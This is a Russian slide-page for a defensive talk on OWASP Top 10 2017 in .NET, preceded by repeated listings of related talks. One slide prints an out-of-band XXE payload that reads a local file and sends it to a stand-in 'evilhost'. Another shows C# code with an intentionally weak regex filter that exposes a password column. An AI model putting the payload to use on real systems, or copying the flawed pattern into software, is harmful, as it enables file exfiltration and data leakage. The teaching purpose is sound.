Доклад посвящён специфике.NET Framework в рамках очередной версии хит-парада угроз безопасности приложений OWASP TOP 10, опубликованной в ноябре этого года. Поговорим о том, каким образом каждая из угроз может проявляться в.NET-приложениях, как от этого защищаться и, немного, об общем подходе к разработке защищённых приложений в.NET
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
Ведущие: Денис Колегов и Арсений Реутов
Авторы доклада продемонстрируют, как внедрение клиентских сценариев JavaScript может быть использовано для обнаружения и предотвращения различных атак, поиска уязвимых клиентских компонент, определения утечек данных об инфраструктуре веб-приложений, выявления веб-ботов и инструментальных средств нападения. Поделятся собственными методами обнаружения инъекций при помощи синтаксических анализаторов без сигнатур и фильтрующих регулярных выражений, а также рассмотрят реализацию концепции JavaScript-ловушек на стороне клиента для атак SSRF, IDOR, Command Injection и CSRF.
Ведущий: Эльдар Бейбутов
Интернет приложения - это интерфейс взаимодействия человеческого сознания с информационной системой. Процесс коммуникации людей и машинного кода не поддается формализации, невозможно учесть все возможные состояния системы в ручную, для этого необходимы интеллектуальные средства защиты, которые будут способны к самостоятельному обучению и принятию решений на основе многофакторных моделей. На докладе поговорим о эвристических механизмах обнаружения атак, автоматическом создании позитивной модели и поведенческом анализе.
В этой презентации я рассказываю не только об автотестах, а о целом комплексе автоматических инструментов для обеспечения качества веб-сервиса на разных этапах разработки.
Как обеспечить проверку формата? Как поддерживать документацию в актуальном виде? Какую архитектуру выбрать для функциональных тестов?
Немного интересного про JSON-схемы и параметризованные тесты, про тестирование API методом чёрного ящика и про выбор исходных данных для тестирования.
Tyurin Alexey - NTLM. Part 1. Pass-the-HashDefconRussia
Мы поговорим о NTLM, SSO- аутентификации и об эксплуатации pass-the-hash техники. Плюс обсудим методы защиты, которые пришли к нам с новейшими версиями ОС.
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
Ведущие: Денис Колегов и Арсений Реутов
Авторы доклада продемонстрируют, как внедрение клиентских сценариев JavaScript может быть использовано для обнаружения и предотвращения различных атак, поиска уязвимых клиентских компонент, определения утечек данных об инфраструктуре веб-приложений, выявления веб-ботов и инструментальных средств нападения. Поделятся собственными методами обнаружения инъекций при помощи синтаксических анализаторов без сигнатур и фильтрующих регулярных выражений, а также рассмотрят реализацию концепции JavaScript-ловушек на стороне клиента для атак SSRF, IDOR, Command Injection и CSRF.
Ведущий: Эльдар Бейбутов
Интернет приложения - это интерфейс взаимодействия человеческого сознания с информационной системой. Процесс коммуникации людей и машинного кода не поддается формализации, невозможно учесть все возможные состояния системы в ручную, для этого необходимы интеллектуальные средства защиты, которые будут способны к самостоятельному обучению и принятию решений на основе многофакторных моделей. На докладе поговорим о эвристических механизмах обнаружения атак, автоматическом создании позитивной модели и поведенческом анализе.
В этой презентации я рассказываю не только об автотестах, а о целом комплексе автоматических инструментов для обеспечения качества веб-сервиса на разных этапах разработки.
Как обеспечить проверку формата? Как поддерживать документацию в актуальном виде? Какую архитектуру выбрать для функциональных тестов?
Немного интересного про JSON-схемы и параметризованные тесты, про тестирование API методом чёрного ящика и про выбор исходных данных для тестирования.
Tyurin Alexey - NTLM. Part 1. Pass-the-HashDefconRussia
Мы поговорим о NTLM, SSO- аутентификации и об эксплуатации pass-the-hash техники. Плюс обсудим методы защиты, которые пришли к нам с новейшими версиями ОС.
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days
Доклад посвящен известной несколько лет атаке под названием "DNS Rebinding" ("Anti-DNS Pinning"). Суть атаки состоит в возможности обойти ограничения "Same Origin Policy" во всех современных веб-браузерах и тем самым получить доступ к любым данным, обрабатываемым в уязвимом приложении. Несмотря на богатую историю, считается, что современные средства защиты блокируют атаку, и реализовать ее на практике почти невозможно.
В докладе будут продемонстрированы практические приемы использования метода Anti-DNS Pinning для атак на корпоративные сети, системы виртуализации и защищенные внешние ресурсы, представлен инструментарий для использования уязвимости. Будут приведены реальные сюжеты получения максимального доступа к любым целевым системам в крупных гетерогенных сетях, а также возможные варианты защиты.
Доклад Максима Гопея для "Съесть собаку #8", PHP, 20/04/17
Тезисы:
- Моделирование угрозы
- Виды атак и уязвимостей в коде
- Как проверять безопасность систем
- Выводы.
Введение в блокчейн и алгоритмы консенсуса / Филипп Филиппак (Waves Platform)Ontico
HighLoad++ 2017
Зал Дели + Калькутта, 7 ноября, 12:00
Тезисы:
http://www.highload.ru/2017/abstracts/3095.html
В докладе я расскажу о том, как устроен классический блокчейн: что такое транзакции и блоки, как они подписываются, из-за чего возникают форки и почему для майнинга не всегда нужны видеокарты.
Из второй части доклада можно будет узнать о разных алгоритмах консенсуса: Proof-of-Work, Proof-of-Stake, Proof-of-Activity и нескольких гибридных и экспериментальных.
Популярні способи зломів та шахрайські схемиAvivi Academy
Security Meetup
Іван Бондар
Elogic Commerce - Magento Development
Розробник систем веб-комерції на платформі Magento. 4 роки досвіду роботи з відомими міжнародними брендами, в розподілених командах з Франції, Німеччини, Англії, Італії, Австралії та США
Тези:
– підбір інструментів для зломів;
– доставка експлойта;
– отримання контролю над системою жертви;
– розширення можливостей контролю в атакуючому середовищі;
– крадіжка даних;
– виконання цілей атаки.
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
Лекция Петра Волкова в Школе вебмастеров: «Как защитить свой сайт».
https://academy.yandex.ru/events/webmasters_school/yawebm2015/
Актуальные типы угроз и динамика их развития
Компрометация сервера и её последствия. Распределённые атаки типа «отказ в обслуживании». Подмена или добавление рекламы на стороне клиента. Атаки, направленные на пользователей. Проблемы, связанные со внешним содержимым.
Управление рисками безопасности веб-сайтов
Разные типы сайтов подвержены разным типам рисков информационной безопасности. Понимание целей и подходов злоумылшенников как ключ к эффективному снижению рисков. Методы монетизации атак на сайты.
Доступный инструментарий и методики для обеспечения безопасности
Открытые инструменты форензики для типовых и сложных проектов. Системы обнаружения вторжений, подходы к проектированию безопасности в архитектуре и процессах.
Реактивный двигатель вашего Android приложенияMatvey Malkov
Презентация, объясняющая концепцию реактивных потоков с использованием Android SDK и RxJavа. Рассчитано на программистов с любым стажем, которые жеалют начать использовать эту концепцию в своих программах.
Реактивные потоки -- это круто.
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days
Доклад посвящен известной несколько лет атаке под названием "DNS Rebinding" ("Anti-DNS Pinning"). Суть атаки состоит в возможности обойти ограничения "Same Origin Policy" во всех современных веб-браузерах и тем самым получить доступ к любым данным, обрабатываемым в уязвимом приложении. Несмотря на богатую историю, считается, что современные средства защиты блокируют атаку, и реализовать ее на практике почти невозможно.
В докладе будут продемонстрированы практические приемы использования метода Anti-DNS Pinning для атак на корпоративные сети, системы виртуализации и защищенные внешние ресурсы, представлен инструментарий для использования уязвимости. Будут приведены реальные сюжеты получения максимального доступа к любым целевым системам в крупных гетерогенных сетях, а также возможные варианты защиты.
Доклад Максима Гопея для "Съесть собаку #8", PHP, 20/04/17
Тезисы:
- Моделирование угрозы
- Виды атак и уязвимостей в коде
- Как проверять безопасность систем
- Выводы.
Введение в блокчейн и алгоритмы консенсуса / Филипп Филиппак (Waves Platform)Ontico
HighLoad++ 2017
Зал Дели + Калькутта, 7 ноября, 12:00
Тезисы:
http://www.highload.ru/2017/abstracts/3095.html
В докладе я расскажу о том, как устроен классический блокчейн: что такое транзакции и блоки, как они подписываются, из-за чего возникают форки и почему для майнинга не всегда нужны видеокарты.
Из второй части доклада можно будет узнать о разных алгоритмах консенсуса: Proof-of-Work, Proof-of-Stake, Proof-of-Activity и нескольких гибридных и экспериментальных.
Популярні способи зломів та шахрайські схемиAvivi Academy
Security Meetup
Іван Бондар
Elogic Commerce - Magento Development
Розробник систем веб-комерції на платформі Magento. 4 роки досвіду роботи з відомими міжнародними брендами, в розподілених командах з Франції, Німеччини, Англії, Італії, Австралії та США
Тези:
– підбір інструментів для зломів;
– доставка експлойта;
– отримання контролю над системою жертви;
– розширення можливостей контролю в атакуючому середовищі;
– крадіжка даних;
– виконання цілей атаки.
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
Лекция Петра Волкова в Школе вебмастеров: «Как защитить свой сайт».
https://academy.yandex.ru/events/webmasters_school/yawebm2015/
Актуальные типы угроз и динамика их развития
Компрометация сервера и её последствия. Распределённые атаки типа «отказ в обслуживании». Подмена или добавление рекламы на стороне клиента. Атаки, направленные на пользователей. Проблемы, связанные со внешним содержимым.
Управление рисками безопасности веб-сайтов
Разные типы сайтов подвержены разным типам рисков информационной безопасности. Понимание целей и подходов злоумылшенников как ключ к эффективному снижению рисков. Методы монетизации атак на сайты.
Доступный инструментарий и методики для обеспечения безопасности
Открытые инструменты форензики для типовых и сложных проектов. Системы обнаружения вторжений, подходы к проектированию безопасности в архитектуре и процессах.
Реактивный двигатель вашего Android приложенияMatvey Malkov
Презентация, объясняющая концепцию реактивных потоков с использованием Android SDK и RxJavа. Рассчитано на программистов с любым стажем, которые жеалют начать использовать эту концепцию в своих программах.
Реактивные потоки -- это круто.
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Ontico
РИТ++ 2017, секция ML + IoT + ИБ
Зал Белу-Оризонти, 5 июня, 13:00
Тезисы:
http://ritfest.ru/2017/abstracts/2798.html
В данном докладе будет рассмотрено множество вопросов, с которыми сталкивается AppSec-отдел - как генерировать анти-CSRF токены, где хранить секретные ключи, как тестировать безопасность в сжатые сроки и многое, многое другое.
Formal verification of operating system kernelsDenis Efremov
The speaker will share his experience of participating in projects on formal verification and analysis of access control modules for Astra Linux SE and Elbrus kernels, as well as verification of the Contiki code (OS for IoT) within the European VESSEDIA program. The speaker will disclose details about the development of formal access control models (Rodin/Event-B) and code specifications (Frama-C/ACSL), the use of static and dynamic analyzers, and the inclusion of formal analysis in the continuous integration cycle (continuous verification). Other types of work that help meet the certification requirements will also be considered.
https://standoff365.com/phdays10/schedule/development/formal-verification-of-operating-system-kernels
Александр Коротин. Безопасность систем управления турбинами в электроэнергетикеKaspersky
Александр Коротин, Специалист по анализу защищенности в «Лаборатории Касперского», в своем докладе рассказывает об особенностях безопасности систем управления турбинами в электроэнергетике.
Подробнее о конференции: https://kas.pr/kicsconf2021
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...Alexey Kostin
Презентация к докладу Алексея Костина Drupal CIS 2013 в Москве — «Что, зачем и каким образом следует проверять и тестировать перед запуском сайта на Drupal в публичную эксплуатацию»
Open Source Testing Framework: real project example and best practicesAliaksandr Ikhelis
Summary: Presentation on open source testing frameworks (improved version, more focus on real project example) at Software Engineering Forum 2009 (SEF-1) conference by Aliaksandr Ikhelis. Sponte framework developer and owner is Stanislaw Wozniak, Expedia Limited, UK. Sponte project homepage: http://rubyforge.org/projects/sponte/; http://github.com/swozniak/sponte/tree/master
Дело тестера боится: как в опытных руках могут заиграть Java и TestNgIT61
Вячеслав Марков, QA engineer в Weezlabs
Я расскажу о том, как в нашей фирме организовано тестирование бэкенда с помощью тестового фреймворка TestNG и Java. Расскажу о data-driven тестировании и о том, почему его удобно применять. Покажу и опишу разработанную нами структуру типового тестового проекта. Представлю применяемые нами способы сбора и документирования результатов, а так же их анализ в условиях CI.
Промышленные контроллеры IIoT — это целая экосистема, которую разработчики.NET обычно обходят стороной. В докладе продолжим погружение в мир дружбы.NET и автономного оборудования, рассмотрим некоторые частые проблемы и "железные" заморочки, возникающие при общении с промышленным контроллерами. Расскажу, как не сломать зубы о "железные" протоколы и почему "умные" устройства пока не могут потеснить "глупых" промышленных собратьев в IIoT.дет интересно.
Николай Гусев «Функциональное программирование для C# разработчиков»MskDotNet Community
Функциональное программирование набирает популярность с каждым днем. Тут и там выходят новые библиотеки, фреймворки и языки, вдохновлённые функциональными концепциями. Всё больше программистов начинают ценить неизменяемое состояние и чистые функции, простую и удобную композицию конструкций и компилятор, находящий львиную долю ошибок ещё до запуска приложения. Язык C# с каждым годом вбирает в себя новые идеи из мира функционального программирования. Мы уже привыкли к удобному Linq и к передаче функций как параметров. А иногда C# и сам становится колыбелью новых идей, например, Reactive Extensions (спасибо Эрику Мейеру). Интересно, какие ещё конструкции функционального программирования можно было бы использовать в C#? Об этом мы и поговорим в нашем докладе. Заодно узнаем, как обрабатывать ошибки в стиле функционального программирования, как избавиться от Null Reference Exception, как ещё можно использовать Linq и многое другое. Приходите, будет интересно.
Кирилл Ветчинкин Практика использования .NET Core на ОС Linux с применением а...MskDotNet Community
Технология.net Core от Microsoft позволила.Net разработчикам разворачивать приложения на Linux. Вместе с этим появилось и множество новых возможностей для более эффективной разработки и поставки. В докладе будут разобраны основные проблемы разработки, поставки, тестирования и рассмотрены схемы их решения, используя такие средства как: GitLab, Vgarant+VirtualBox, TeamCity, Ansible, Octopus Deploy, Docker. Мы поговорим про создание тестовых сред, управление инфраструктурой из кода и CI/CD. Основная цель доклада — продемонстрировать, что.net Core на Linux — это выгодно, быстро и управляемо.
Юлия Ковалёва. Fscheck — альтернативный путь для unit тестовMskDotNet Community
Как помочь тестам находить баги? Что лучше: каждый новый запуск на новом наборе данных или же стабильность? Как сделать тестовые данные эффективными?
В докладе рассматривается Property based подход для написания unit-тестов.
На реальных примерах будет показано то, какими возможностями обладает FsCheck в связке с C#, какие есть плюсы и минусы у данного инструмента и стоит ли тратить время на его изучение.
Дмитрий Сошников Искусственный интеллект и нейросети для .NET-разработчиковMskDotNet Community
2017-12-16 MskDotNet Субботник
Искусственный интеллект сейчас является одной из самых обсуждаемых тем и главным двигателем цифровой трансформации бизнеса. Стратегия Microsoft в области ИИ включает в себя демократизацию ИИ для разработчиков, т.е. предоставление простых в использовании фреймворков и сервисов для решения интеллектуальных задач. Мы расскажем, как.NET-разработчики могут использовать возможности ИИ в своих проектах: начиная от готовых когнитивных сервисов, работающих в облаке, заканчивая обучением нейросетей на.NET-языках и запуском сложных нейросетевых моделей на компактных устройствах типа Raspberry Pi.
Если вы пишете веб-приложения только под Windows, однако рано или поздно выбор определенной ОС накладывает на вас свои ограничения, наступает время подумать о кроссплатформенной разработке веб-приложений. К чему нужно быть готовым? Mono или .Net Core? Готовы ли Вы портировать свое приложение? Я расскажу о нашем опыте перехода на mono и о том, как это было, с какими проблемами мы столкнулись в первую очередь и почему. Помимо ASP.NET приложений мы так же портировали наш MS SQL Server под Docker. А в заключении мы поговорим о веб-серверах для ASP.NET приложений: — XSP — Apache — nginx
Иван Кочуркин. Теория и практика парсинга формальных языковMskDotNet Community
В докладе рассказывается об инструментах и практиках парсинга формальных языков: как исходного кода, так и собственных предметно-ориентированных (DSL). О том, какие бывают парсеры и проблемы при их использовании. Доклад повествует как о базовых вещах: о токенах, деревьях разбора, абстрактных синтаксических деревьях (AST), так и о продвинутых: о методах обработки препроцессорных директив и восстановления от ошибок, о парсинге островных, нечувствительных к регистру языков и фрагментов кода. Помимо парсинга в докладе затрагивается тема обработки древовидных структур. Материал доклада основан на практических задачах и акцентирован на технологиях ANTLR и Roslyn.
Дмитрий Тежельников «Разработка вэб-решений с использованием Asp.NET.Core и ...MskDotNet Community
Поговорим об эволюции в мире вэб-приложений, современных технологиях и фреймворках, которые используют в вэб-разработке сегодня.
Обсудим основные архитектурные принципы при создании вэб-решений для разных клиентов. Обсудим, как сделать и запустить бэк-энд на Asp.NET.Core в Visual Studio 2017. Далее поговорим, как написать и запустить фронт-энд с использованием React.JS, Redux, Routing, Bootstrap в IntelliJ IDEA 2017.
В конце доклада немного заглянем в будущее, что нас ждет в вэб-разработке завтра?
Поговорим о системе конфигурации в.net. Как она работает на больших проектах, какие проблемы и почему все очень плохо. Какой подход мы применили у себя, чтобы избавиться от некоторых проблем. Как изменились подходы сейчас в.net core. Что с конфигами в ASP.NET Core и как быть, когда кругом микросервисы.
На встрече мы поговорим о том, как не бояться изменений и как быть к ним готовым. Дадим определение АОП. Рассмотрим проблемы, хорошо решаемые инструментами АОП. Построим модульную систему, применяя АОП. Сравним динамический и статический подходы в АОП. Дадим рекомендации по применению АОП.
Вас ждет река теории впадающая в море практики.
Даниил Соколюк "ReactJS.NET — опыт рендеринга на сервере"MskDotNet Community
Поговорим что такое React и зачем он нужен разработчикам, разберемся что такое ReactJS.NET и JavaScriptServices,
Обсудим как интегрировать React компоненты в существующую Razor разметку или даже в WebForms. Расскажем о том какие проблемы с производительностью существуют при серверном рендеринге компонентов и как их решать.
Андрей Матвеев "Основные принципы микросервисов и их реализации"MskDotNet Community
Посмотрим, что скрывается за модным buzzword’ом, взвесим обещанные плюсы и найдем минусы, о которых умалчивают. Разберемся зачем они нужны, и пора ли отказываться от монолита. И попробуем понять, как же их делать.
MSK .NET Meetup #8
21 марта 2017
Сегодня понятие интернета вещей ассоциируется с двумя направлениями: облаком и устройствами. И если об облаках говорят много, то о устройствах в концепции IoT информации намного меньше. Мы поговорим о том, что же это за "вещи", какая у них роль, из чего они сделаны и как они работают.
MSK .NET Meetup #8
21 марта 2017
Путь от лабораторного прототипа к промышленной эксплуатации системы IoT тернист. Разработчиков ждут неожиданные проблемы, которые не могут возникнуть в лаборатории. Доклад о том как набить себе по меньше шишек и сделать работающую систему.
Стас Павлов «Построение безопасной архитектуры IoT решений на примере Azure I...MskDotNet Community
MSK .NET Meetup #8
21 марта 2017
При проектировании системы важно понять, каким угрозам эта система может подвергаться, и разработать соответствующие меры защиты при проектировании и построении её архитектуры. Особенно важно с самого начала учитывать требования безопасности при проектировании продукта. Если вы понимаете, каким образом злоумышленники могут скомпрометировать вашу систему, то это поможет еще до начала работы принять соответствующие меры по снижению рисков. В докладе на примере рефренсной архитектуры Azure IoT будет рассмотрено, каким образом можно спроектировать архитектуру соответствующую необходимому уровню безопасности.
Кирилл Маурин «Проектирование и разработка модульных приложений»MskDotNet Community
Выступление с MSK .NET Meetup #7
21 февраля 2017
Во вдоль и поперек изъезженной теме разработки модульных приложений есть много нового и полезного для большей части аудитории. Много материала из личного опыта автора с иллюстрацией из собственной микробиблиотеки с отрытым исходным кодом.
MSK .NET Meetup #7
21 февраля 2017
Мы поговорим о автоматических инструментах поиска ошибок в программах для.Net. Посмотрим на зоопарк средств статического анализа. Попробуем автоматически генерировать Unit-тесты с помощью IntelliTest.
2. Заголовок
Руководитель отдела исследований по анализу защищённости
приложений Positive Technologies
AppSec- и CS-исследователь (формальные методы анализа и
защиты приложений)
Организатор Positive Development User Group
https://about.me/vladimir.kochetkov
vkochetkov@ptsecurity.com
:~$ whoami
7. Заголовок
• Хит-парад проблем безопасности веб-приложений,
формируемый с 2004, каждые 3-4 года, на основе опросов,
отчётов и аналитики множества компаний и независимых
экспертов: github.com/OWASP/Top10
• Включает в себя, как недостатки, так и атаки
• Версия 2017 года формировалась на основе отчётов более, чем
40 мировых компаний, содержавших статистику об уязвимостях
в 114 897 приложениях и опросов около 500 независимых
экспертов.
WTF OWASP TOP 10?
8. Заголовок
A primary aim of the OWASP Top 10 is to educate developers,
designers, architects, managers, and organizations about the
consequences of the most common and most important web
application security weaknesses
Предназначение OWASP TOP 10
10. Заголовок
Класс недостатков, связанных с низкой информативностью
диагностических средств или возможностью нарушения
целостности обрабатываемой ими информации
Неэффективное журналирование и мониторинг
11. Заголовок
• События управления доступом:
• Аутентификация и авторизация (как успех, так и отказ)
• Выдача сессионных токенов или других билетов аутентификации
• Явное завершение пользовательской сессии
• Восстановление доступа
• Все попытки доступа к конфиденциальной информации и
изменения целостной, включая результаты таких попыток
• Все ошибки и исключения (включая перехватываемые)
Что и когда логировать
12. Заголовок
• Просканировать приложение любым black-box анализатором:
• bbs.ptsecurity.com
• www.acunetix.com
• subgraph.com/vega
• Убедиться, что сформированные в ходе сканирования логи
достаточны для того, чтобы подтвердить факт
автоматизированной атаки
Простой способ убедиться в эффективности логирования
13. Заголовок
• Использовать существующие средства журналирования с
возможностью безопасной параметризации:
• github.com/NLog/Nlog
• serilog.net
• Все данные, производные от входных, записывать в лог через
параметризацию
• Обратить внимание на проект: github.com/Azure/diagnostics-
eventflow
Журналирование в .NET
17. Заголовок
• Недостаток, в результате которой атакующий имеет возможность
выполнить произвольный код на целевой системе или нарушить
целостность модели предметной области приложения
• Атака возможна в случаях, если атакующий контролирует
сериализованный объект и:
• у него есть возможность контролировать тип объекта, создаваемого
десериализатором;
• ожидаемый десериализатором тип содержит поля или свойства, для
которых актуальны угрозы нарушения целостности, авторизованности
или аутентичности.
Незащищённая десериализация
18. Заголовок
• В ходе реконструкции объекта могут использоваться вызовы:
• Конструкторов по умолчанию и заполнение полей и свойств через
рефлексию или вызовы соответствующих сеттеров
• «Специальных» конструкторов
• Конвертеров типов
• Обратных вызовов
• Рано или поздно (в большинстве случаев), созданный объект
будет финализирован и собран GC
Как работает сериализатор?
22. Заголовок
• Сформировать все возможные векторы атаки для используемого
десериализатора с помощью: github.com/pwntester/ysoserial.net
• Убедиться, что при передаче их в качестве сериализованных
объектов, заданная в векторе команда не выполняется
Лёгкий способ протестировать десериализатор
23. Заголовок
• Не десереализовывать входные данные
• При пробросе сериализованных данных между HTTP-запросами
использовать подтверждение их аутентичнсти (цифровую
подпись)
• Использовать десериализатор со строгим контролем типов
• Избегать использования при десериализации какой-либо
информации о типах, производной из входных данных
Как защититься?
32. Заголовок
• При разработке нового проекта под ASP.NET MVC5 взять за
основу шаблон github.com/johnstaveley/SecurityEssentials/
• github.com/ASP-NET-Core-Boilerplate/Templates – при разработке
под ASP.NET Core
• Если это невозможно, обеспечить безопасность первоначальной
конфигурации вручную
Так, а делать-то – что?
33. Заголовок
• Убрать из конфигурационных файлов все неиспользуемые
директивы и опции
• Обеспечить отсутствие в релизной конфигурации по умолчанию
реквизитов доступа к каким-либо ресурсам
• Использовать .NET 4.6.2+ или .NET Core 2.0+ (поддержка TLS
1.1/1.2, расширенная валидация запросов, защита от XXE и т. п.)
Защита конфигурации: базовый чек-лист (1/4)
34. Заголовок
• Использовать опции из Web.Config, рекомендованного OWASP:
gist.github.com/kochetkov/1132463fb16725694640404c04040621
• Использовать точечное отключение валидации запросов только
там, где это действительно необходимо:
• На страницах: <@ Page validateRequest="false" %>
• В контроллерах: [ValidateInput(false)]
• В свойствах модели: [AllowHtml]
• В выражениях: Request.Unvalidated()
Защита конфигурации: базовый чек-лист (2/4)
35. Заголовок
• Убрать HTTP-заголовки:
<httpRuntime enableVersionHeader="false" />
HttpContext.Current.Response.Headers.Remove("Server");
• Форсировать отправку cookies через TLS:
<httpCookies requireSSL="true"
xdt:Transform="SetAttributes(requireSSL)"/>
<authentication>
<forms requireSSL="true"
xdt:Transform="SetAttributes(requireSSL)"/>
</authentication>
Защита конфигурации: базовый чек-лист (3/4)
36. Заголовок
• Для проектов под ASP.NET Core использовать
github.com/andrewlock/NetEscapades.AspNetCore.SecurityHeaders
Защита конфигурации: базовый чек-лист (4/4)
38. Заголовок
• Недостаток, позволяющий атакующему воспользоваться
привилегиями под учётной записью, которая ими не обладает.
• Некоторые возможные причины:
• Отсутствие или неэффективность проверок доступа
• Использование незащищённых идентификаторов ресурсов
• Возможность подделки, воспроизведения или использования
сессионных токенов
• Неправильная конфигурация CORS
• Отсутствие проверок доступа в методах контроллеров, изменяющих
состояние модели
Неэффективный контроль доступа
39. Заголовок
• Вся доступная функциональность бизнес-логики должна быть
распределена между ролями явным образом. Гость – тоже роль.
services.ConfigureMvc(options =>
{
options.Filters.Add(
new AuthorizeFilter(new AuthorizationPolicyBuilder()
.RequireAuthenticatedUser()
.Build()));
});
Как защититься (1/2)
40. Заголовок
• Элементы контроля доступа должны быть реализованы на всех
слоях:
• Представление: сокрытие информации о недоступной
функциональности
• Бизнес-логика: отсутствие функциональности, меняющей состояние
модели до выполнения авторизации
• Модель: контроль доступа с учетом запрашиваемых данных (row-level
security и т.п)
• Идентификаторы объектов должны обладать прямой и обратной
секретностью
Как защититься (2/2)
42. Заголовок
• Атака на парсер XML, основанная на внедрении в документ
внешних сущностей и позволяющая осуществлять чтение
локальных файлов и, в некоторых случаях, выполнять
произвольный код
• Возможна, если в парсере XML включена обработка внешних
сущностей
Внедрение внешних сущностей XML
43. Заголовок
attack.xml:
<?xml version="1.0" encoding="uq-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml">
%remote; %internal; %trick;
]>
evil.xml:
<!ENTITY % payload SYSTEM "file:///c:/boot.ini">
<!ENTITY % internal "<!ENTITY % trick SYSTEM
http://evil/?%payload;'>">
Пример атаки Out-of-Band XXE Data Retrieval
47. Заголовок
• Недостаток, позволяющий атакующему получить доступ к
конфиденциальной информации
• Причины:
• Утечки по побочным каналам (тайминги, реакция приложения на
штатные запросы)
• Неэффективное использование криптографии
• Использование незащищённых протоколов передачи информации
Разглашение значимых данных
48. ЗаголовокТайминг-атаки
LAN: разница в 200 наносекунд за 1000 измерений;
Internet: разница в 30 микросекунд за 1000 измерений;
www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf
В случае с HTTP есть возможность усилить канал:
xakep.ru/2015/06/03/web-app-hack-keep-alive
Добавление случайных временных задержек проблему не
решает:
events.ccc.de/congress/2012/Fahrplan/attachments/2235_29c3-
schinzel.pdf
50. ЗаголовокСтрах и ненависть в отдельно взятом проекте: 2010 (1/2)
var fieldName = Request["field"] ?? "Id";
var minValue = Request["min"];
var maxValue = Request["max"];
var queryTemplate = string.Format(
"SELECT * FROM Users WHERE {0} >= @minValue AND {0} <= @maxValue ORDER BY {0}",
Regex.Replace(fieldName, "?i[^a-z0-9]+", string.Empty)
);
var selectCommand = string.Format(queryTemplate, debugStr);
var cmd = new SqlCommand(selectCommand, dataConnection);
cmd.Parameters.Add(new SqlParameter("@minValue", minValue));
cmd.Parameters.Add(new SqlParameter("@maxValue", maxValue));
...
/users/filter.aspx?field={fieldName}&min={minBalue}&max={maxValue}
Users
Id
Nickname
Rating
MessageCount
TopicCount
Password
51. ЗаголовокСтрах и ненависть в отдельно взятом проекте: 2010 (2/2)
var fieldName = Request["field"] ?? "Id";
var minValue = Request["min"];
var maxValue = Request["max"];
var queryTemplate = string.Format(
"SELECT * FROM Users WHERE {0} >= @minValue AND {0} <= @maxValue ORDER BY {0}",
Regex.Replace(fieldName, "[^a-zA-Z0-9]+", string.Empty)
);
var selectCommand = string.Format(queryTemplate, debugStr);
var cmd = new SqlCommand(selectCommand, dataConnection);
cmd.Parameters.Add(new SqlParameter("@minValue", minValue));
cmd.Parameters.Add(new SqlParameter("@maxValue", maxValue));
...
/users/filter.aspx?field=Password&min=0&max=0
Users
Id
Nickname
Rating
MessageCount
TopicCount
Password
52. Заголовок
• HTTP через TLS. Предназначен для обеспечения:
• конфиденциальности и целостности данных, передаваемых по HTTP;
• аутентичности стороны сервера (реже – и клиента).
• Или иными словами для защиты от атак класса MitM.
Немного об HTTPS
53. Заголовок
• Популярные подходы:
• HTTP по умолчанию, HTTPS по выбору пользователя,
• HTTP везде, критические точки входа через HTTPS,
неэффективны и подвержены атакам TLS Stripping.
• Частично противодействовать им можно, используя:
• site-wide HTTPS без опционального HTTP,
• HTTP-заголовок: Strict-Transport-Security: max-age=expireTime [;
includeSubdomains],
при условии, что первый раз пользователь попадет на сайт
по протоколу HTTPS.
Немного об HTTPS
55. Заголовок
• Недостаток, позволяющий атакующему получать информацию
об учётных данных других пользователей или
аутентифицироваться от лица других пользователей
• Причины:
• Отсутствие или неэффективная реализация защиты от
автоматизированных атак (прямой перебор по пользователю или
паролю, набивка учетных данных и т.п)
• Неэффективный контроль сложности паролей
• Хранение учётных данных в открытом или недостаточно защищённом
виде
• Отсутствие или неэффективное использование 2FA
• Проблемы конфиденциальности и актуальности сессионных токенов
Неэффективная аутентификация
56. Заголовок
• Внедрение средств анти-автоматизации (reCAPTCHA)
• Ограничение (замедление) попыток прямого перебора
• Пароля по известному имени
• Имени по известному паролю
• Утекших учётных данных с других ресурсов
• Внедрение средств контроля сложности паролей (есть нюансы)
Как защититься
57. Заголовок
Криптографические функции хэширования не подходят для
задачи хранения учётных данных.
Для хэширования паролей следует использовать адаптивные
функции Argon2 (password-hashing.net), PBKDF2, scrypt, bcrypt:
pwd-hash = salt || adaptive_hash(password, salt)
или дайджест-функции:
pwd-hash = salt || HMAC-SHA-256(password, salt, secret)
Общие принципы хранения паролей
58. Заголовок
• Предназначение соли — затруднение атак по словарям и
радужным таблицам
• Соль не является секретом и должна быть случайной и
уникальной для каждого пароля
• Длина соли должна быть достаточной для обеспечения
энтропии salt || password >= 256 бит для любого возможного
пароля → длина соли >= 32 байта
Соль
59. Заголовок
// .NET Framework
public static string GetPasswordHash(string password)
{
var rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, 32);
rfc2898DeriveBytes.IterationCount = 16384;
byte[] hash = rfc2898DeriveBytes.GetBytes(32);
byte[] salt = rfc2898DeriveBytes.Salt;
return Convert.ToBase64String(salt) + "|" + Convert.ToBase64String(hash);
}
// .NET Core
public static string GetPasswordHash(string password)
{
byte[] salt = new byte[128 / 8];
using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); }
string hash = Convert.ToBase64String(KeyDerivation.Pbkdf2(
password: password,
salt: salt,
prf: KeyDerivationPrf.HMACSHA256,
iterationCount: 16384,
numBytesRequested: 256 / 8));
return Convert.ToBase64String(salt) + "|" + hash;
}
Хранение паролей в .NET
62. Заголовок
• Уязвимость к атакам инъекции – состояние приложения, в
котором возможно внедрение в выходные данные
грамматических конструкций, не предусмотренных логикой
приложения
• Тема защиты от атак инъекций была достаточно подробно
раскрыта в докладе «Побеждая инъекции» на DotNext Moscow
2017 (слайды, видео)
• По исходным данным OWASP TOP 10 2017, этому классу атак
подвержены 60.6% приложений.
Инъекция
63. Заголовок
• «…достаточно банальные примеры, которые были бы актуальны
несколько лет назад»
• «…в целом доклад теряет свой смысл, если код написан без
использования устаревших подходов»
• «…[LibProtection] скорее для компаний, которые не заботятся о
